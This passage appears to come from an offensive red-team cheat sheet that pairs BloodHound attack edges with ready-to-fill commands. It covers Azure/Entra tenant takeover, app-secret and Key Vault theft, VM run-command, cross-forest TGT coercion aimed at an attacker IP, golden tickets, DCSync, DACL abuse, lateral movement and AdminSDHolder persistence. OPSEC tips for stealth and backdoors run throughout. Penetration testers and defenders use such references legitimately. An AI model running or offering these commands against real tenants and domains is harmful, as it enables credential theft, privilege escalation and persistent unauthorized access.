- Approve ESC1 pending request → certipy auth → DA access
Azure / Entra
Azure / Entra attack paths and exploitation techniques.
AZGlobalAdmin - Full Tenant Admin
Full control over Entra ID tenant. Can modify any user, app, or resource.
roadrecon auth -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' roadrecon gather roadrecon plugin policies
azurehound -u '{USERNAME}@{DOMAIN}' -p '{PASSWORD}' -t {TENANT_ID} list
az login -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' az ad user list az role assignment list --all
curl -H "Authorization: Bearer TOKEN" https://graph.microsoft.com/v1.0/users
Connect-AzureAD -Credential $cred Get-AzureADUser -All $true
Connect-MsolService -Credential $cred Get-MsolUser -All
Connect-MgGraph -Scopes 'User.Read.All' Get-MgUser -All
TIPS & OPSEC
- Scope: Global Admin = full tenant control. No restrictions.
- Cloud-only: Does not automatically grant on-prem admin unless hybrid.
- OPSEC: Azure logs all admin actions. Use service principals for stealth.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
AZGlobalAdmin → modify any tenant resource → full cloud compromise
Common chains:
- Add secret to application → client credentials flow → API access
- Reset any user password → account takeover
- Assign roles → persistent backdoor access
AZPrivilegedRoleAdmin - Role Assignment
Can assign any privileged role including Global Admin. Same tools as Global Admin.
az role assignment create --assignee {USERNAME} --role 'Global Administrator' --scope /
roadrecon plugin policies
Add-AzureADDirectoryRoleMember -ObjectId (Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'").ObjectId -RefObjectId (Get-AzureADUser -ObjectId {USERNAME}@{DOMAIN}).ObjectId
New-MgDirectoryRoleMemberByRef -DirectoryRoleId (Get-MgDirectoryRole -Filter "DisplayName eq 'Global Administrator'").Id -BodyParameter @{'@odata.id'='https://graph.microsoft.com/v1.0/directoryObjects/{SP_OBJECT_ID}'}
TIPS & OPSEC
- PIM: If Privileged Identity Management is enabled, may need to activate role first.
- Self-elevation: Assign yourself Global Admin for full tenant control.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
AZPrivilegedRoleAdmin → assign Global Admin → full tenant control
Common chains:
- Assign self Global Admin → tenant compromise
AZAppAdmin / AZCloudAppAdmin - App Secret Abuse
Admin on enterprise apps → add secret/certificate → client credentials flow → API access.
az ad sp credential reset --id {APP_ID} --append
az account get-access-token --resource https://graph.microsoft.com
roadrecon auth -u {USERNAME}@{DOMAIN} -p '{PASSWORD}'
New-MgApplicationPassword -ApplicationId {APP_ID}
New-AzureADApplicationPasswordCredential -ObjectId {APP_ID}
TIPS & OPSEC
- Client credentials: App secret allows unattended API access as the application.
- Graph API: If app has Directory.Read.All or higher, full tenant enumeration possible.
- OPSEC: App secret creation is logged. Use existing secrets when possible.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
AZAppAdmin → add secret → client credentials → Graph API → tenant data
Common chains:
- Add secret to app with Directory.Read.All → enumerate all users → find targets
AZAddOwner / AZAddMembers / AZAddSecret - App/Group Manipulation
Add self to app/group, add secret to app, or add owner to resources.
az ad group member add --group {TARGET_GROUP} --member-id {USERNAME} az ad app owner add --id {APP_ID} --owner-object-id {USERNAME}
curl -X POST -H "Authorization: Bearer TOKEN" https://graph.microsoft.com/v1.0/groups/{TARGET_GROUP}/members/\$ref -d '{"@odata.id":"https://graph.microsoft.com/v1.0/directoryObjects/{USERNAME}"}'
New-MgGroupMember -GroupId {TARGET_GROUP} -DirectoryObjectId {USERNAME}
TIPS & OPSEC
- AddOwner: Owner of app can add credentials, modify permissions, or delete app.
- AddMembers: Group membership may grant inherited RBAC roles or app access.
- AddSecret: Direct path to client credentials flow and API access.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
Add self to group/app → inherit privileges → escalate
Common chains:
- Add self to privileged group → inherit role → tenant admin
AZVMAdminLogin / AZVMContributor / AZContributor - VM Compromise
VM admin/Contributor → run commands, reset password, or extract managed identity tokens.
az vm run-command invoke -g {RESOURCE_GROUP} -n {VM_NAME} --command-id RunShellScript --scripts 'whoami'
azurehound -u '{USERNAME}@{DOMAIN}' -p '{PASSWORD}' -t {TENANT_ID} list
Invoke-AzVMRunCommand -ResourceGroupName {RESOURCE_GROUP} -Name {VM_NAME} -CommandId 'RunPowerShellScript' -ScriptString 'whoami'
Set-AzVMAccessExtension -ResourceGroupName {RESOURCE_GROUP} -VMName {VM_NAME} -Name 'reset' -UserName {USERNAME} -Password '{NEW_PASSWORD}'
TIPS & OPSEC
- Run Command: Executes commands as SYSTEM on Windows or root on Linux VMs.
- Managed Identity: Extract MSI token from VM metadata endpoint for cloud privilege escalation.
- OPSEC: Run Command activity is logged in Azure Activity Log.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
AZVMContributor → run command → SYSTEM shell → cloud credential dump
Common chains:
- Run Command → mimikatz → domain creds → on-prem escalation
- Extract MSI token → access Key Vault → secrets dump
AZAKS / WebApp / LogicApp / Automation Contributor
Contributor on cloud resources → code execution via resource-specific mechanisms.
az aks get-credentials -g {RESOURCE_GROUP} -n {VM_NAME} kubectl exec -it pod-name -- /bin/sh
# Access Kudu console via https://{VM_NAME}.scm.azurewebsites.net
az logicapp run -g {RESOURCE_GROUP} -n {VM_NAME}
az automation runbook start -g {RESOURCE_GROUP} -a {VM_NAME} -n runbook-name
kubectl exec -it pod-name -- /bin/sh
# Deploy malicious WebJob or Function for code execution.
TIPS & OPSEC
- AKS: Contributor = cluster admin equivalent. Full container orchestration control.
- WebApp: Kudu console provides shell access. Deployment credentials may also work.
- Automation: RunAs account = service principal with credentials. High value target.
- Logic App: Managed connectors may have stored credentials or API keys.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
Cloud resource contributor → code execution → credential extraction → escalate
Common chains:
- AKS → kubectl exec → service account token → cluster admin
- Automation RunAs → steal certificate → service principal compromise
AZKeyVault - Secrets Extraction
Access Azure Key Vault secrets, keys, and certificates.
az keyvault secret show --name admin-password --vault-name {KEY_VAULT_NAME}
roadrecon plugin keyvault
Get-AzKeyVaultSecret -VaultName {KEY_VAULT_NAME} -Name admin-password -AsPlainText
Get-MgDirectoryRole -Filter "DisplayName eq 'Key Vault Administrator'"
TIPS & OPSEC
- Secrets: May contain passwords, connection strings, API keys.
- Keys: Cryptographic keys for encryption/decryption.
- Certificates: Can be used for authentication or TLS interception.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
AZKeyVault → extract secrets → credential compromise → cloud/on-prem escalation
Common chains:
- Key Vault secret → domain admin password → on-prem compromise
AZUserAccessAdministrator - RBAC Escalation
Can assign any RBAC role including Owner. Self-elevation path to full subscription control.
az role assignment create --assignee {USERNAME} --role Owner --scope /subscriptions/{SUBSCRIPTION_ID}
New-AzRoleAssignment -SignInName {USERNAME}@{DOMAIN} -RoleDefinitionName Owner -Scope /subscriptions/{SUBSCRIPTION_ID}
TIPS & OPSEC
- Owner: Full control over subscription. Can manage all resources and access.
- Scope: Can assign at subscription, resource group, or resource level.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
AZUserAccessAdministrator → assign Owner → full subscription control
Common chains:
- Assign self Owner → manage all resources → extract credentials from all VMs
AZRunsAs - Automation Account RunAs
Automation Account RunAs = service principal with certificate. Steal for persistent cloud access.
az automation account list az automation account show -g {RESOURCE_GROUP} -n {VM_NAME}
az automation runbook start -g {RESOURCE_GROUP} -a {VM_NAME} -n runbook-name
Get-AzAutomationAccount -ResourceGroupName {RESOURCE_GROUP}
Get-AzAutomationRunbook -ResourceGroupName {RESOURCE_GROUP} -AutomationAccountName {VM_NAME}
TIPS & OPSEC
- RunAs certificate: Stored in Automation account assets. Download and authenticate as SP.
- Persistent: RunAs account is often overlooked by defenders. Excellent backdoor.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
AZRunsAs → steal certificate → authenticate as SP → cloud persistence
Common chains:
- Steal RunAs cert → az login --service-principal → persistent access
AZMG - Microsoft Graph App Permissions
Microsoft Graph app permissions for directory-wide modifications. Compromise app = tenant admin.
az ad app permission add --id {APP_ID} --api 00000003-0000-0000-c000-000000000000 --api-permissions 1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9=Role az ad app permission grant --id {APP_ID} --api 00000003-0000-0000-c000-000000000000
Update-MgApplication -ApplicationId {APP_ID} -RequiredResourceAccess @(...)
TIPS & OPSEC
- App-only permissions: Directory.ReadWrite.All, AppRoleAssignment.ReadWrite.All = full tenant control.
- Compromise: If app has these permissions, steal certificate/secret = instant tenant admin.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
AZMG app compromise → tenant-wide modifications → full cloud control
Common chains:
- Steal app secret with Directory.ReadWrite.All → modify any user → domain admin
Azure Structural Edges
Structural edges for Azure path traversal. Documented for completeness in path analysis.
No Linux-specific commands for this edge.
No Windows-specific commands for this edge.
TIPS & OPSEC
- AZContains: Resource contains another resource.
- AZMemberOf: User/group membership in Azure.
- AZHasRole: RBAC role assignment.
- AZOwns: Owner of resource.
- AZAuthenticatesTo: Authentication relationship between resources.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
Structural edges → path traversal → find escalation route
Common chains:
- Use AzureHound to map complete attack path in cloud
Special / Advanced
Special / Advanced attack paths and exploitation techniques.
AbuseTGTDelegation - Cross-Forest TGT Delegation
Cross-forest with TGT delegation enabled. Coerce TGT delegation for inter-realm access.
Rubeus.exe tgtdeleg /target:TRUST_TARGET PetitPotam.py -u {USERNAME} -p '{PASSWORD}' -d {DOMAIN} {ATTACKER_IP} {TARGET_DC_IP}
kekeo.exe "tgt::pac /user:{USERNAME} /domain:{DOMAIN} /targetdomain:{PARENT_DOMAIN}"
kerberos::ptt cross_realm.kirbi lsadump::dcsync /domain:{PARENT_DOMAIN} /dc:{DC_IP}
TIPS & OPSEC
- TGT delegation: Allows forwarding TGT across forest trust boundary.
- Combine with: CoerceToTGT on unconstrained delegation host in trusted forest.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
AbuseTGTDelegation → cross-forest TGT → DCSync parent domain
Common chains:
- Cross-forest TGT → Enterprise Admin access
CrossForestTrust - Inter-Forest Information
Informational edge. Abuse via AbuseTGTDelegation, SpoofSIDHistory, or CoerceToTGT.
No Linux-specific commands for this edge.
No Windows-specific commands for this edge.
TIPS & OPSEC
- Informational: BloodHound shows trust exists. Does not imply vulnerability.
- Check: netdom trust /quarantine to verify SID filtering status.
- Exploitation: If SID filtering disabled → SpoofSIDHistory. If TGT delegation enabled → AbuseTGTDelegation.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
CrossForestTrust → check SID filtering → SpoofSIDHistory / AbuseTGTDelegation
Common chains:
- Verify trust properties → choose exploitation path
SameForestTrust - Intra-Forest Compromise
Intra-forest = shared krbtgt history. Any domain = Enterprise Admin.
raiseChild.py '{CHILD_DOMAIN}/{USERNAME}:{PASSWORD}'@{DC_IP}
ticketer.py -nthash KRBTGT_HASH -domain-sid {SOURCE_SID} -domain {DOMAIN} -extra-sid S-1-5-21-...-519 golden.kirbi
lsadump::trust /patch
Rubeus.exe golden /rc4:HASH /user:Administrator /domain:{DOMAIN} /sid:{SOURCE_SID} /sids:S-1-5-21-...-519 /ticket:golden.kirbi
TIPS & OPSEC
- Shared krbtgt: All domains in forest share krbtgt secret history.
- Enterprise Admins SID: S-1-5-21-
-519 is valid across entire forest. - raiseChild.py: Automates full child-to-parent domain admin escalation.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
SameForestTrust → raiseChild.py / ticketer → Enterprise Admin
Common chains:
- Child domain admin → raiseChild.py → parent domain Enterprise Admin
SyncedToADUser / SyncedToEntraUser - Hybrid Identity
Hybrid identity sync. Compromise synced account = both on-prem and cloud access.
azurehound -u '{USERNAME}@{DOMAIN}' -p '{PASSWORD}' -t {TENANT_ID} list
roadrecon plugin policies
Get-AzureADUser -ObjectId {USERNAME}@{DOMAIN} | Select-Object OnPremisesSecurityIdentifier
TIPS & OPSEC
- Password hash sync: Same password hash works both on-prem (NTLM) and cloud (NTLM via PHS).
- Pass-through auth: If PTA, compromise AD DS account = cloud account compromise.
- Detection: Monitor for suspicious sign-ins from synced accounts in both environments.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
Synced account compromise → both on-prem and cloud access
Common chains:
- On-prem credential dump → same creds work in Azure → cloud escalation
Owns / OwnsLimitedRights - Ownership Abuse
Owner can modify DACL. OwnsLimitedRights means AdminSDHolder or OWNER RIGHTS deny is present.
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add genericAll {TARGET} {USERNAME}
dacledit.py '{DOMAIN}/{USERNAME}:{PASSWORD}' -principal {USERNAME} -target {TARGET} -action write -rights GenericAll -dc-ip {DC_IP}
Add-DomainObjectAcl -TargetIdentity {TARGET} -PrincipalIdentity {USERNAME} -Rights GenericAll -Credential $cred
TIPS & OPSEC
- Ownership = control: As owner, you can modify DACL even without explicit WriteDacl.
- OwnsLimitedRights: AdminSDHolder or explicit OWNER RIGHTS deny blocks full owner privileges.
- Chain: Owns → WriteDacl → GenericAll → Exploit.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
Owns → modify DACL → GenericAll → exploitation
Common chains:
- Owner → GenericAll → DCSync / ForceChangePassword
MemberOfLocalGroup - Local Group Recon
User is member of a local group on target computer. Enumerate for privilege escalation paths.
nxc smb {TARGET_COMPUTER} -u {USERNAME} -p '{PASSWORD}' --local-groups
rpcclient -U '{DOMAIN}/{USERNAME}%{PASSWORD}' {TARGET_COMPUTER} -c 'enumalsgroups 0'
net localgroup administrators
Get-LocalGroupMember -Group 'Administrators'
TIPS & OPSEC
- Local Admin: Member of Administrators = full local control.
- Remote Management Users: Member of this group = WinRM access without admin.
- RDP Users: Member of Remote Desktop Users = RDP access.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
MemberOfLocalGroup → local privileges → credential dump / lateral movement
Common chains:
- Local Admin → mimikatz → domain creds → escalation
LocalToComputer - Local Account Lateral Movement
Local account lateral movement if password is reusable across systems.
nxc smb {TARGET_COMPUTER} -u localadmin -p '{PASSWORD}'
psexec.py 'localadmin:{PASSWORD}'@{TARGET_COMPUTER}
Enter-PSSession -ComputerName {TARGET_COMPUTER} -Credential (New-Object PSCredential('localadmin', (ConvertTo-SecureString '{PASSWORD}' -AsPlainText -Force)))
TIPS & OPSEC
- Password reuse: Local accounts often share passwords across systems in same image/deployment.
- LSA secrets: May reveal local account passwords. Use mimikatz lsadump::secrets.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
Local account reuse → lateral movement → domain compromise
Common chains:
- Same local admin password → psexec to all systems → mass compromise
ExtendedByPolicy - ESC3 Composition
Supporting edge for ESC3 composition. Template is extended by enrollment agent policy.
No Linux-specific commands for this edge.
No Windows-specific commands for this edge.
TIPS & OPSEC
- Supporting edge: BloodHound uses this for path composition to ESC3.
- Exploitation: See ADCSESC3 for full attack chain.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
ExtendedByPolicy → ESC3 → enrollment agent → on-behalf-of cert → admin
Common chains:
- See ADCSESC3 for full exploitation details
HostsCAService - CA Server Target
CA server hosting. Target for GoldenCert and ESC12 exploitation.
No Linux-specific commands for this edge.
No Windows-specific commands for this edge.
TIPS & OPSEC
- Target: Compromise CA server → extract private key → GoldenCert.
- Path: AdminTo CA server → mimikatz → backupkeys → ForgeCert.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
HostsCAService → CA compromise → GoldenCert → indefinite access
Common chains:
- AdminTo CA → lsadump::backupkeys → ForgeCert → persistent domain admin
PKI Chain Edges
Supporting PKI chain edges. Used for certificate trust path analysis.
No Linux-specific commands for this edge.
No Windows-specific commands for this edge.
TIPS & OPSEC
- EnterpriseCAFor: Enterprise CA issues certificates for domain.
- RootCAFor: Root CA trusts Enterprise CA.
- IssuedSignedBy: Certificate issued and signed by specific CA.
- NTAuthStoreFor: CA trusted for NT authentication.
- TrustedForNTAuth: CA is in NTAuth store.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
PKI chain analysis → identify rogue CA → certificate forgery
Common chains:
- Untrusted CA in chain → remove from NTAuthStore or revoke
ProtectAdminGroups - AdminSDHolder
SDProp reverts ACL changes every 60 min on protected groups. Persistence requires AdminSDHolder modification.
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get acl 'CN=AdminSDHolder,CN=System,{DOMAIN_DN}'
Get-DomainObjectAcl -Identity 'CN=AdminSDHolder,CN=System,{DOMAIN_DN}' -ResolveGUIDs -Credential $cred
TIPS & OPSEC
- Protected groups: Domain Admins, Enterprise Admins, Administrators, Account Operators, Backup Operators, Print Operators, Server Operators, Schema Admins.
- SDProp interval: Default 60 minutes. Changes to protected objects are reverted.
- Persistence: Modify AdminSDHolder itself (very dangerous) or use indirect OU paths.
- Detection: AdminSDHolder modifications are heavily logged. High visibility.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
AdminSDHolder → modify directly → persistent backdoor on all protected groups
Common chains:
- Modify AdminSDHolder → GenericAll propagates to all protected groups every 60 min
🔗 Chain Builder
Compose multi-step attack chains with validation and export.
Click "Add to Chain" on any attack card to build a multi-step chain.
⚡ One-Liner Generator
Quickly generate common attack combinations.
Select attack type and platform to generate one-liner...
❌ Error Database
Common errors and their fixes, searchable by error code or symptom.
🧰 Complete Tool Index
All 90+ tools with descriptions, install commands, and platform info.